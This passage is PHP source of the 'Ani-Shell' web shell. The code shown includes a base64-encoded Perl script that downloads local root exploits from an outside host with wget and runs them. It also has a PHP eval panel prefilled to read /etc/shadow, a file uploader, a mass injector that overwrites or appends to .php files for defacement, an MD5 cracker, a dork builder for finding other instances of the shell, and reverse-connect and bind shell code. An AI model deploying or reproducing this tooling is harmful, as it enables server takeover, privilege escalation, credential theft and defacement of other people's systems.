  1135. KCJpZCIpOyANCnN5c3RlbSgiLi9rcmFkIC10IDEgLXAgNCIpOyANCnN5c3RlbSgiaWQiKTsgDQpz
  1136. eXN0ZW0oIi4va3JhZCAtdCAxIC1wIDUiKTsgDQpzeXN0ZW0oImlkIik7IA0Kc3lzdGVtKCIuL2ty
  1137. YWQgLXQgMSAtcCA2Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgiLi9rcmFkIC10IDEgLXAg
  1138. NyIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4va3JhZCAtdCAxIC1wIDgiKTsgDQpzeXN0
  1139. ZW0oImlkIik7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmls
  1140. ZS9jYy9rLXJhZDMiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBrLXJhZDMiKTsgDQpzeXN0ZW0oIi4v
  1141. ay1yYWQzIC10IDEgLXAgMiIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4vay1yYWQzIC10
  1142. IDEgLXAgMyIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4vay1yYWQzIC10IDEgLXAgNCIp
  1143. OyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4vay1yYWQzIC10IDEgLXAgNSIpOyANCnN5c3Rl
  1144. bSgiaWQiKTsgDQpzeXN0ZW0oIi4vay1yYWQzIC10IDEgLXAgNiIpOyANCnN5c3RlbSgiaWQiKTsg
  1145. DQpzeXN0ZW0oIi4vay1yYWQzIC10LXAgMiIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIi4v
  1146. ay1yYWQzIC10IC1wIDIiKTsgDQpzeXN0ZW0oImlkIik7IA0Kc3lzdGVtKCIuL2stcmFkMyAtYSAt
  1147. cCA3Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgiLi9rLXJhZDMgLWEgLXAgNyIpOyANCnN5
  1148. c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7
  1149. IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy8yNjgi
  1150. KTsgDQpzeXN0ZW0oImNobW9kIDc3NyAyNjgiKTsgDQpzeXN0ZW0oIi4vMjY4Iik7IA0KcHJpbnQg
  1151. IklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyANCnN5c3RlbSgid2dldCBodHRw
  1152. Oi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvMjAwOCIpOyANCnN5c3RlbSgiY2htb2Qg
  1153. Nzc3IDIwMDgiKTsgDQpzeXN0ZW0oIi4vMjAwOCIpOyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAi
  1154. SWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7ICANCnN5c3RlbSgid2dldCBodHRw
  1155. Oi8vd2FyMTk3MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvMjAwOXguYyIpOyANCnN5c3RlbSgiZ2Nj
  1156. IDIwMDl4LmMgLW8gMjAwOXgiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAwOXgiKTsgDQpzeXN0
  1157. ZW0oIi4vMjAwOXgiKTsgDQpzeXN0ZW0oImlkIik7IA0KcHJpbnQgIklmIHUgciByMDB0IHN0b3Ag
  1158. eHBsIHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNf
  1159. RklMRVMvZmlsZS9jYy8yMDA5eHgiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAwOXh4Iik7IA0K
  1160. c3lzdGVtKCIuLzIwMDl4eCIpOyANCnN5c3RlbSgiaWQiKTsNCnN5c3RlbSgiaWQiKTsgDQpwcmlu
  1161. dCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IA0Kc3lzdGVtKCJ3Z2V0IGh0
  1162. dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmlsZS9jYy8yLjYuOS01NS0yMDA3LXBydjgiKTsg
  1163. DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS01NS0yMDA3LXBydjgiKTsgDQpzeXN0ZW0oIi4vMi42
  1164. LjktNTUtMjAwNy1wcnY4Iik7IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgiLi8yLjYuOS01NS0y
  1165. MDA3LXBydjgiKTsgDQpzeXN0ZW0oImlkIik7IA0Kc3lzdGVtKCIuLzIuNi45LTU1LTIwMDctcHJ2
  1166. OCIpOyANCnN5c3RlbSgiaWQiKTsgDQpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBj
  1167. dHJsK2NcbiI7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9DTVNfRklMRVMvZmls
  1168. ZS9jYy8xOCIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyAxOCIpOyANCnN5c3RlbSgiLi8xOCIpOyAN
  1169. CnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovL3dhcjE5NzEuY29tL0NNU19GSUxF
  1170. Uy9maWxlL2NjLzgiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgOCIpOyANCnN5c3RlbSgiLi84Iik7
  1171. IA0Kc3lzdGVtKCJpZCIpOyANCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3MS5jb20vQ01TX0ZJ
  1172. TEVTL2ZpbGUvY2MvZHoiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgZHoiKTsgDQpzeXN0ZW0oIi4v
  1173. ZHoiKTsgDQpzeXN0ZW0oImlkIik7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93YXIxOTcxLmNvbS9D
  1174. TVNfRklMRVMvZmlsZS9jYy94ODYiKTsgIA0Kc3lzdGVtKCJjaG1vZCA3NzcgeDg2Iik7IA0Kc3lz
  1175. dGVtKCIuL3g4NiIpOyANCnN5c3RlbSgiaWQiKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovL3dhcjE5
  1176. NzEuY29tL0NNU19GSUxFUy9maWxlL2NjL2xvbCIpOyAgDQpzeXN0ZW0oImNobW9kIDc3NyBsb2wi
  1177. KTsgDQpzeXN0ZW0oIi4vbG9sIik7IA0Kc3lzdGVtKCJpZCIpOyANCn0=";
  1178.  
  1179.      $fd = fopen("r00t.pl","w");
  1180.  
  1181.             if ($fd != FALSE)
  1182.             {
  1183.                 fwrite($fd,base64_decode($r00t));
  1184.                 $out = exec_all("perl r00t.pl;");
  1185.                 if ($out != "")
  1186.                 {
  1187.                         $cmd_out = exec_all("whoami");
  1188.                         if ($cmd_out != "")
  1189.                         {
  1190.                                 if (strpos($cmd_out == 'root') !== false)
  1191.                                         echo "<p class='alert_green'>You are ".trim(exec_all("whoami"))."</p>";
  1192.                                 else
  1193.                                         echo "<p class='alert_red'>You are ".trim(exec_all("whoami"))."</p>";
  1194.                         }
  1195.                         else
  1196.                         {
  1197.                                 echo "<p class='alert_red'>Rooting Failed</p>";
  1198.                         }
  1199.                 }
  1200.             }
  1201.             else
  1202.             {
  1203.                 echo "<p class='alert_red'>Permission Denied</p>";
  1204.             }
  1205.     ?>
  1206.     <?php
  1207. }
  1208.  
  1209. // PHP evaluate
  1210.  
  1211. else if(isset($_GET['eval']))
  1212. {
  1213.     ?>
  1214.    
  1215.     <form method="POST">
  1216.     <textarea name="code" class="cmd" cols="100" rows="20"><?php
  1217.     // If the comand was sent
  1218.     if(isset($_POST['code'])
  1219.         && $_POST['code']
  1220.     )
  1221.     {
  1222.         // Filter Some Chars we dont need
  1223.  
  1224.         $code = str_replace("<?php","",$_POST['code']);
  1225.         $code = str_replace("<?","",$code);
  1226.         $code = str_replace("?>","",$code);
  1227.  
  1228.         // Evaluate PHP CoDE!
  1229.  
  1230.         echo htmlspecialchars(eval($code));
  1231.     }
  1232.     else
  1233.     {
  1234.         ?>echo file_get_contents('/etc/shadow');<?php
  1235.     }
  1236.     ?></textarea><br /><br />
  1237.     <input name="submit" value="Eval That COde! :D" class="own" type="submit" />
  1238.     </form>
  1239.  
  1240.     <?php
  1241.    
  1242. }
  1243.  
  1244. // Upload
  1245.  
  1246. else if(isset($_GET['upload']))
  1247. {
  1248.  
  1249.     if (isset($_POST['file']) &&
  1250.         isset($_POST['path'])
  1251.      )
  1252.     {
  1253.         $path = $_POST['path'];
  1254.            
  1255.         if($path[(strlen($path)-1)] != $SEPARATOR){$path = $path.$SEPARATOR;}
  1256.        
  1257.         if(is_dir($path))
  1258.         {
  1259.             $uploadedFilePath = $_FILES['file']['name'];
  1260.             $tempName = $_FILES['file']['tmp_name'];
  1261.             $uploadPath = $path .  $uploadedFilePath;
  1262.             $stat = move_uploaded_file($tempName , $uploadedFilePath);
  1263.             if ($stat)
  1264.             {
  1265.                 echo "<p class='alert_green'>File uploaded to $uploadPath</p>";
  1266.             }
  1267.             else
  1268.             {
  1269.                 echo "<p class='alert_red'>Failed to upload file to $uploadPath</p>";
  1270.             }
  1271.          }
  1272.     }
  1273.     else
  1274.     {
  1275.     ?>
  1276.     <table class="bind" align="center" >
  1277.     <tr>
  1278.         <th class="header" colspan="1" width="50px">Upload (From ur Computer)</th>
  1279.     </tr>
  1280.     <tr>
  1281.          <td>
  1282.             <table style="border-spacing: 6px;">
  1283.                 <form method="POST" enctype="multipart/form-data">
  1284.                
  1285.                 <tr>
  1286.                     <td width="100"><input type="file" name="file"/></td>
  1287.                     <td><input type="submit" name="file" class="own" value="Upload"/></td>
  1288.            
  1289.                 </tr>
  1290.                
  1291.                  <tr>
  1292.                     <td colspan="2">
  1293.                         <input class='cmd' style="width: 280px;" name='path' value="<?php echo getcwd(); ?>" />  
  1294.                     </td>
  1295.                 </tr>
  1296.                
  1297.                 </form>
  1298.             </table>
  1299.          </td>
  1300.     </tr>
  1301.     </table>
  1302. <?php
  1303.     }
  1304.  
  1305. }
  1306.  
  1307. // Code Injector
  1308.  
  1309. else if(isset($_GET['injector']))
  1310. {
  1311.     if(isset($_GET['dir']) &&
  1312.     $_GET['dir'] != '' &&
  1313.     isset($_GET['filetype']) &&
  1314.     $_GET['filetype'] != '' &&
  1315.     isset($_GET['mode']) &&
  1316.     $_GET['mode'] != '' &&
  1317.     isset($_GET['message']) &&
  1318.     $_GET['message'] != ''
  1319.     )
  1320.     {
  1321.         $dir = $_GET['dir'];
  1322.         $filetype = $_GET['filetype'];
  1323.         $message = $_GET['message'];
  1324.        
  1325.         $mode = "a"; //default mode
  1326.        
  1327.        
  1328.         // Modes Begin
  1329.        
  1330.         if($_GET['mode'] == 'Apender')
  1331.         {
  1332.             $mode = "a";
  1333.         }
  1334.         if($_GET['mode'] == 'Overwriter')
  1335.         {
  1336.             $mode = "w";
  1337.         }
  1338.        
  1339.         if($handle = opendir($dir))
  1340.         {
  1341.             ?>
  1342.             Overwritten Files :-
  1343.             <ul style="padding: 10px;" >
  1344.             <?php
  1345.             while(($file = readdir($handle)) !== False)
  1346.             {
  1347.                 if((preg_match("/$filetype".'$'.'/', $file , $matches) != 0) && (preg_match('/'.$file.'$/', $self , $matches) != 1))
  1348.                 {
  1349.                     ?>
  1350.                         <li class="file"><a href="<?php echo "$self?open=$dir$file"?>"><?php echo $file; ?></a></li>
  1351.                     <?php
  1352.                     echo "\n";
  1353.                     $fd = fopen($dir.$file,$mode);
  1354.                     if (!$fd) echo "<p class='alert_red'>Permission Denied</p>"; break;
  1355.                     fwrite($fd,$message);
  1356.                 }
  1357.             }
  1358.             ?>
  1359.             </ul>
  1360.             <?php
  1361.         }
  1362.     }
  1363.     else
  1364.     {
  1365.         ?>
  1366.         <table id="margins" >
  1367.         <tr>
  1368.             <form method='GET'>
  1369.             <input type="hidden" name="injector"/>  
  1370.                 <tr>
  1371.                     <td width="100" class="title">
  1372.                         Directory
  1373.                     </td>
  1374.                     <td>
  1375.                          <input class="cmd" name="dir" value="<?php echo getcwd().$SEPARATOR; ?>" />
  1376.                     </td>
  1377.                 </tr>
  1378.                 <tr>
  1379.                 <td class="title">
  1380.                     Mode
  1381.                 </td>
  1382.                 <td>
  1383.                         <select style="width: 400px;" name="mode" class="cmd">
  1384.                             <option value="Apender">Apender</option>
  1385.                             <option value="Overwriter">Overwriter</option>
  1386.                         </select>
  1387.                 </td>
  1388.                 </tr>
  1389.                 <tr>
  1390.                     <td class="title">
  1391.                         File Type
  1392.                     </td>
  1393.                     <td>
  1394.                         <input type="text" class="cmd" name="filetype" value=".php" onblur="if(this.value=='')this.value='.php';" />
  1395.                     </td>
  1396.                 </tr>
  1397.                
  1398.                
  1399.                 <tr>
  1400.                     <td colspan="2">
  1401.                         <textarea name="message" cols="110" rows="10" class="cmd">All i remember are those lonely nights when i was defacing those insecure websites!</textarea>
  1402.                     </td>
  1403.                 </tr>
  1404.                
  1405.                
  1406.                 <tr>
  1407.                     <td rowspan="2">
  1408.                         <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Inject :D"/>
  1409.                     </td>
  1410.                 </tr>
  1411.         </form>
  1412.         </table>
  1413.         <?php
  1414.     }
  1415. }
  1416.  
  1417. // MD5 Cracker
  1418.  
  1419. else if(isset($_GET['md5']))
  1420. {
  1421.     if(isset($_GET['hash']) &&
  1422.     isset($_GET['passwdList']) &&
  1423.     $_GET['hash'] != '' &&
  1424.     $_GET['passwdList'] != '')
  1425.    
  1426.     {
  1427.         echo md5Crack($_GET['hash'],$_GET['passwdList']);
  1428.     }
  1429.     else
  1430.     {
  1431.         ?>
  1432.         <table id="margins" >
  1433.         <tr>
  1434.             <form method='GET'>
  1435.                 <input type="hidden" name="md5" />
  1436.                 <tr>
  1437.                     <td width="100" class="title">
  1438.                         Hash
  1439.                     </td>
  1440.                     <td>
  1441.                          <input class="cmd" name="hash"/>
  1442.                     </td>
  1443.                 </tr>
  1444.                 <tr>
  1445.                 <td class="title">
  1446.                     Password List (File Path)
  1447.                 </td>
  1448.                 <td>
  1449.                     <input class="cmd" name="passwdList" value="<?php echo getcwd().$SEPARATOR; ?>" />
  1450.                 </td>
  1451.                 </tr>
  1452.                 <tr>
  1453.                 <tr>
  1454.                     <td rowspan="2">
  1455.                         <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Lets Crack :D"/>
  1456.                     </td>
  1457.                 </tr>
  1458.         </form>
  1459.         </table>
  1460.        
  1461.         <?php
  1462.     }
  1463. }
  1464.  
  1465. // Google Dork Creater
  1466.  
  1467. else if(isset($_GET['gdork']))
  1468. {
  1469.     if(
  1470.     isset($_GET['title']) ||
  1471.     isset($_GET['text']) ||
  1472.     isset($_GET['url']) ||
  1473.     isset($_GET['site'])
  1474.     )
  1475.     {
  1476.         $title = $_GET['title'];
  1477.         $text = $_GET['text'];
  1478.         $url = $_GET['url'];
  1479.         $site = $_GET['site'];
  1480.        
  1481.         if($title != "")
  1482.         {
  1483.             $title = " intitle:\"".$title."\" ";
  1484.         }
  1485.         if($text != "")
  1486.         {
  1487.             $text = " intext:\"".$text."\" ";
  1488.         }
  1489.         if($url != "")
  1490.         {
  1491.             $url = " inurl:\"".$url."\" ";
  1492.         }
  1493.         if($site != "")
  1494.         {
  1495.             $site = " site:\"".$site."\" ";
  1496.         }
  1497.        
  1498.         // Print the output now
  1499.         ?>
  1500.         <div align="center">
  1501.         <form action="http://google.com" method="GET">
  1502.             <input class="cmd" style="border: solid red 1px;" name="q" value='<?php echo $title.$text.$url.$site ?>' /><br />
  1503.             <input type="submit" style="Padding:5px;" class="own" value='Google It! ;)' />
  1504.         </form>
  1505.         </div>
  1506.         <?php
  1507.     }
  1508.     else
  1509.     {
  1510.     ?>
  1511.     <p align="center" style="color:red;">Note : Any one of the following options is compulsory to be filled rest can be left blank.</p>
  1512.      <table id="margins" >
  1513.         <tr>
  1514.             <form method='GET'>
  1515.                 <input type="hidden" name="gdork" />
  1516.                 <tr>
  1517.                     <td width="100" class="title">
  1518.                         intitle
  1519.                     </td>
  1520.                     <td>
  1521.                          <input class="cmd" name="title" value="Ani-Shell"/>
  1522.                     </td>
  1523.                 </tr>
  1524.                 <tr>
  1525.                 <td class="title">
  1526.                     intext
  1527.                 </td>
  1528.                 <td>
  1529.                     <input class="cmd" name="text" value="lionaneesh" />
  1530.                 </td>
  1531.                 </tr>
  1532.                 <tr>
  1533.                     <td width="100" class="title">
  1534.                         inurl
  1535.                     </td>
  1536.                     <td>
  1537.                          <input class="cmd" name="url" value="Ani-Shell.php"/>
  1538.                     </td>
  1539.                 </tr>
  1540.                 <tr>
  1541.                     <td width="100" class="title">
  1542.                         site
  1543.                     </td>
  1544.                     <td>
  1545.                          <input class="cmd" name="site" value="*.org"/>
  1546.                     </td>
  1547.                 </tr>
  1548.                 <tr>
  1549.                     <td rowspan="2" >
  1550.                         <input style="margin : 20px; margin-left: 390px; padding : 10px;" type="submit" class="own" value="Gimme the Dork!"/>
  1551.                     </td>
  1552.                 </tr>
  1553.         </form>
  1554.         </table>
  1555.     <?php
  1556.     }
  1557. }
  1558.  
  1559.  
  1560. // Connect
  1561.  
  1562.  
  1563. else if(isset($_GET['connect']))
  1564. {
  1565.     if(isset($_POST['ip']) &&
  1566.      isset($_POST['port']) &&
  1567.         $_POST['ip'] != "" &&
  1568.         $_POST['port'] != ""
  1569.      )
  1570.     {
  1571.         echo "<p>The Program is now trying to connect!</p>";
  1572.         $ip = $_POST['ip'];
  1573.         $port=$_POST['port'];
  1574.         $sockfd=fsockopen($ip , $port , $errno, $errstr );
  1575.         if($errno != 0)
  1576.         {
  1577.             echo "<font color='red'><b>$errno</b> : $errstr</font>";
  1578.         }
  1579.         else if (!$sockfd)
  1580.         {
  1581.                $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
  1582.         }
  1583.         else
  1584.         {
  1585.             fputs ($sockfd ,"\n=================================================================\nAni-Shell | C0d3d by lionaneesh | India\n=================================================================");
  1586.          $pwd = exec_all("pwd");
  1587.          $sysinfo = exec_all("uname -a");
  1588.          $id = exec_all("id");
  1589.          $dateAndTime = exec_all("time /t & date /T");
  1590.          $len = 1337;
  1591.          fputs($sockfd ,$sysinfo . "\n" );
  1592.          fputs($sockfd ,$pwd . "\n" );
  1593.          fputs($sockfd ,$id ."\n\n" );
  1594.          fputs($sockfd ,$dateAndTime."\n\n" );
  1595.          while(!feof($sockfd))
  1596.          {  
  1597.             $cmdPrompt ="(Ani-Shell)[$]> ";
  1598.             fputs ($sockfd , $cmdPrompt );
  1599.             $command= fgets($sockfd, $len);
  1600.             fputs($sockfd , "\n" . exec_all($command) . "\n\n");
  1601.         }
  1602.         fclose($sockfd);
  1603.         }
  1604.     }
  1605.     else if(
  1606.     isset($_POST['port']) &&
  1607.     isset($_POST['passwd']) &&
  1608.     $_POST['port'] != "" &&
  1609.     $_POST['passwd'] != ""  &&
  1610.     isset($_POST['mode']))
  1611.     {
  1612.         $address = '127.0.0.1';
  1613.         $port = $_POST['port'];
  1614.         $pass = $_POST['passwd'];
  1615.        
  1616.         if($_POST['mode'] == "Python")
  1617.         {
  1618.             $Python_CODE = "IyBTZXJ2ZXIgIA0KIA0KaW1wb3J0IHN5cyAgDQppbXBvcnQgc29ja2V0ICANCmltcG9ydCBvcyAgDQoNCmhvc3QgPSAnJzsgIA0KU0laRSA9IDUxMjsgIA0KDQp0cnkgOiAgDQogICAgIHBvcnQgPSBzeXMuYXJndlsxXTsgIA0KDQpleGNlcHQgOiAgDQogICAgIHBvcnQgPSAzMTMzNzsgIA0KIA0KdHJ5IDogIA0KICAgICBzb2NrZmQgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICwgc29ja2V0LlNPQ0tfU1RSRUFNKTsgIA0KDQpleGNlcHQgc29ja2V0LmVycm9yICwgZSA6ICANCg0KICAgICBwcmludCAiRXJyb3IgaW4gY3JlYXRpbmcgc29ja2V0IDogIixlIDsgIA0KICAgICBzeXMuZXhpdCgxKTsgICANCg0Kc29ja2ZkLnNldHNvY2tvcHQoc29ja2V0LlNPTF9TT0NLRVQgLCBzb2NrZXQuU09fUkVVU0VBRERSICwgMSk7ICANCg0KdHJ5IDogIA0KICAgICBzb2NrZmQuYmluZCgoaG9zdCxwb3J0KSk7ICANCg0KZXhjZXB0IHNvY2tldC5lcnJvciAsIGUgOiAgICAgICAgDQogICAgIHByaW50ICJFcnJvciBpbiBCaW5kaW5nIDogIixlOyANCiAgICAgc3lzLmV4aXQoMSk7ICANCiANCnByaW50KCJcblxuPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7IA0KcHJpbnQoIi0tLS0tLS0tIFNlcnZlciBMaXN0ZW5pbmcgb24gUG9ydCAlZCAtLS0tLS0tLS0tLS0tLSIgJSBwb3J0KTsgIA0KcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuXG4iKTsgDQogDQp0cnkgOiAgDQogICAgIHdoaWxlIDEgOiAjIGxpc3RlbiBmb3IgY29ubmVjdGlvbnMgIA0KICAgICAgICAgc29ja2ZkLmxpc3RlbigxKTsgIA0KICAgICAgICAgY2xpZW50c29jayAsIGNsaWVudGFkZHIgPSBzb2NrZmQuYWNjZXB0KCk7ICANCiAgICAgICAgIHByaW50KCJcblxuR290IENvbm5lY3Rpb24gZnJvbSAiICsgc3RyKGNsaWVudGFkZHIpKTsgIA0KICAgICAgICAgd2hpbGUgMSA6ICANCiAgICAgICAgICAgICB0cnkgOiAgDQogICAgICAgICAgICAgICAgIGNtZCA9IGNsaWVudHNvY2sucmVjdihTSVpFKTsgIA0KICAgICAgICAgICAgIGV4Y2VwdCA6ICANCiAgICAgICAgICAgICAgICAgYnJlYWs7ICANCiAgICAgICAgICAgICBwaXBlID0gb3MucG9wZW4oY21kKTsgIA0KICAgICAgICAgICAgIHJhd091dHB1dCA9IHBpcGUucmVhZGxpbmVzKCk7ICANCiANCiAgICAgICAgICAgICBwcmludChjbWQpOyAgDQogICAgICAgICAgIA0KICAgICAgICAgICAgIGlmIGNtZCA9PSAnZzJnJzogIyBjbG9zZSB0aGUgY29ubmVjdGlvbiBhbmQgbW92ZSBvbiBmb3Igb3RoZXJzICANCiAgICAgICAgICAgICAgICAgcHJpbnQoIlxuLS0tLS0tLS0tLS1Db25uZWN0aW9uIENsb3NlZC0tLS0tLS0tLS0tLS0tLS0iKTsgIA0KICAgICAgICAgICAgICAgICBjbGllbnRzb2NrLnNodXRkb3duKCk7ICANCiAgICAgICAgICAgICAgICAgYnJlYWs7ICANCiAgICAgICAgICAgICB0cnkgOiAgDQogICAgICAgICAgICAgICAgIG91dHB1dCA9ICIiOyAgDQogICAgICAgICAgICAgICAgICMgUGFyc2UgdGhlIG91dHB1dCBmcm9tIGxpc3QgdG8gc3RyaW5nICANCiAgICAgICAgICAgICAgICAgZm9yIGRhdGEgaW4gcmF3T3V0cHV0IDogIA0KICAgICAgICAgICAgICAgICAgICAgIG91dHB1dCA9IG91dHB1dCtkYXRhOyAgDQogICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgIGNsaWVudHNvY2suc2VuZCgiQ29tbWFuZCBPdXRwdXQgOi0gXG4iK291dHB1dCsiXHJcbiIpOyAgDQogICAgICAgICAgICAgICANCiAgICAgICAgICAgICBleGNlcHQgc29ja2V0LmVycm9yICwgZSA6ICANCiAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgcHJpbnQoIlxuLS0tLS0tLS0tLS1Db25uZWN0aW9uIENsb3NlZC0tLS0tLS0tIik7ICANCiAgICAgICAgICAgICAgICAgY2xpZW50c29jay5jbG9zZSgpOyAgDQogICAgICAgICAgICAgICAgIGJyZWFrOyAgDQpleGNlcHQgIEtleWJvYXJkSW50ZXJydXB0IDogIA0KIA0KDQogICAgIHByaW50KCJcblxuPj4+PiBTZXJ2ZXIgVGVybWluYXRlZCA8PDw8PFxuIik7ICANCiAgICAgcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7IA0KICAgICBwcmludCgiXHRUaGFua3MgZm9yIHVzaW5nIEFuaS1zaGVsbCdzIC0tIFNpbXBsZSAtLS0gQ01EIik7ICANCiAgICAgcHJpbnQoIlx0RW1haWwgOiBsaW9uYW5lZXNoQGdtYWlsLmNvbSIpOyAgDQogICAgIHByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKTsNCg==";
  1619.  
  1620.             $fd = fopen("bind.py","w");
  1621.  
  1622.             if($fd != FALSE)
  1623.             {
  1624.                 fwrite($fd,base64_decode($Python_CODE));
  1625.                
  1626.                 if($os == "Linux")
  1627.                 {
  1628.                     echo "[+] OS Detected = Windows";
  1629.                     exec_all("chmod +x bind.py ; ./bind.py");
  1630.                    
  1631.                     // CHeck if the process is running
  1632.            
  1633.                     $pattern = "bind.py";
  1634.            
  1635.                     $list = exec_all("ps -aux");
  1636.                 }
  1637.                 else
  1638.                 {
  1639.                     echo "[+] OS Detected = Windows";
  1640.                     exec_all("start bind.py");
  1641.                     // CHeck if the process is running
  1642.            
  1643.                     $pattern = "python.exe";
  1644.            
  1645.                     $list = exec_all("TASKLIST");
  1646.                 }
  1647.                
  1648.                
  1649.                 if(preg_match("/$pattern/",$list))
  1650.                 {
  1651.                         echo "<p class='alert_green'>Process Found Running! Backdoor Setuped Successfully! :D</p>";
  1652.                 }
  1653.                 else
  1654.                 {
  1655.                     echo "<p class='alert_red'>Process Not Found Running! Backdoor Setup FAILED :(</p>";
  1656.                 }
  1657.                
  1658.                 echo "<br /><br />\n<b>Task List :-</b> <pre>\n$list</pre>";
  1659.                
  1660.             }
  1661.         }
  1662.     }
  1663.     else if($_POST['mode'] == "PHP")
  1664.     {
  1665.            
  1666.         // Set time limit to indefinite execution
  1667.         set_time_limit (0);
  1668.        
  1669.        
  1670.         // Set the ip and port we will listen on
  1671.        
  1672.  
  1673.         if(function_exists("socket_create"))
  1674.         {
  1675.         // Create a TCP Stream socket
  1676.         $sockfd = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  1677.  
  1678.      
  1679.         // Bind the socket to an address/port
  1680.        
  1681.        
  1682.         if(socket_bind($sockfd, $address, $port) == FALSE)
  1683.         {
  1684.             echo "Cant Bind to the specified port and address!";
  1685.         }
  1686.         // Start listening for connections
  1687.         socket_listen($sockfd,15);
  1688.        
  1689.    
  1690.         $passwordPrompt = "\n=================================================================\nAni-Shell | C0d3d by lionaneesh | India\n=================================================================\n\n0xPassword : ";
  1691.        
  1692.         /* Accept incoming requests and handle them as child processes */
  1693.         $client = socket_accept($sockfd);
  1694.        
  1695.  
  1696.         socket_write($client , $passwordPrompt);
  1697.         // Read the pass from the client
  1698.         $input = socket_read($client, strlen($pass) + 2); // +2 for \r\n
  1699.         if(trim($input) == $pass)
  1700.         {
  1701.             socket_write($client , "\n\n");
  1702.             socket_write($client , ($os == "Windows") ? exec_all("date /t & time /t")  . "\n" . exec_all("ver") : exec_all("date") . "\n" . exec_all("uname -a"));
  1703.             socket_write($client , "\n\n");
  1704.             while(1)
  1705.             {
  1706.                 // Print Command prompt
  1707.                 $commandPrompt ="(Ani-Shell)[$]> ";
  1708.                 $maxCmdLen = 31337;
  1709.                 socket_write($client,$commandPrompt);
  1710.                 $cmd = socket_read($client,$maxCmdLen);
  1711.                 if($cmd == FALSE)
  1712.                 {
  1713.                     echo "The client Closed the conection!";
  1714.                     break;
  1715.                 }
  1716.                 socket_write($client , exec_all($cmd));
  1717.             }
  1718.         }
  1719.         else
  1720.         {
  1721.             echo "Wrong Password!";
  1722.             socket_write($client, "sU(|< - 0FF Bitch!\n\n");
  1723.         }
  1724.         socket_shutdown($client, 2);
  1725.         socket_close($socket);
  1726.        
  1727.         // Close the client (child) socket
  1728.         //socket_close($client);
  1729.         // Close the master sockets
  1730.         //socket_close($sock);
  1731.         }
  1732.         else
  1733.         {
  1734.             echo "Socket Conections not Allowed/Supported by the server! <br />";
  1735.         }
  1736.     }
  1737.     else
  1738.     {
  1739.     ?>      
  1740.     <table class="bind" align="center" >
  1741.     <tr>
  1742.         <th class="header" colspan="1" width="50px">Back Connect</th>
  1743.         <th class="header" colspan="1" width="50px">Bind Shell</th>
  1744.     </tr>
  1745.     <tr>
  1746.         <form method='POST' >  
  1747.          <td>
  1748.             <table style="border-spacing: 6px;">
  1749.                 <tr>
  1750.                     <td>IP </td>
  1751.                     <td>
  1752.                         <input style="width: 200px;" class="cmd" name="ip" value="<?php getClientIp();?>" />
  1753.                     </td>
  1754.                 </tr>
  1755.                 <tr>
  1756.                     <td>Port </td>
  1757.                     <td><input style="width: 100px;" class="cmd" name="port" size='5' value="31337"/></td>
  1758.                 </tr>
  1759.                 <tr>
  1760.                 <td>Mode </td>    
  1761.                 <td>
  1762.                         <select name="mode" class="cmd">
  1763.                             <option value="PHP">PHP</option>
  1764.                         </select>&nbsp;&nbsp;<input style="width: 90px;" class="own" type="submit" value="Connect!"/></td>
  1765.                
  1766.             </table>
  1767.          </td>
  1768.          </form>
  1769.          <form method="POST">
  1770.          <td>
  1771.             <table style="border-spacing: 6px;">
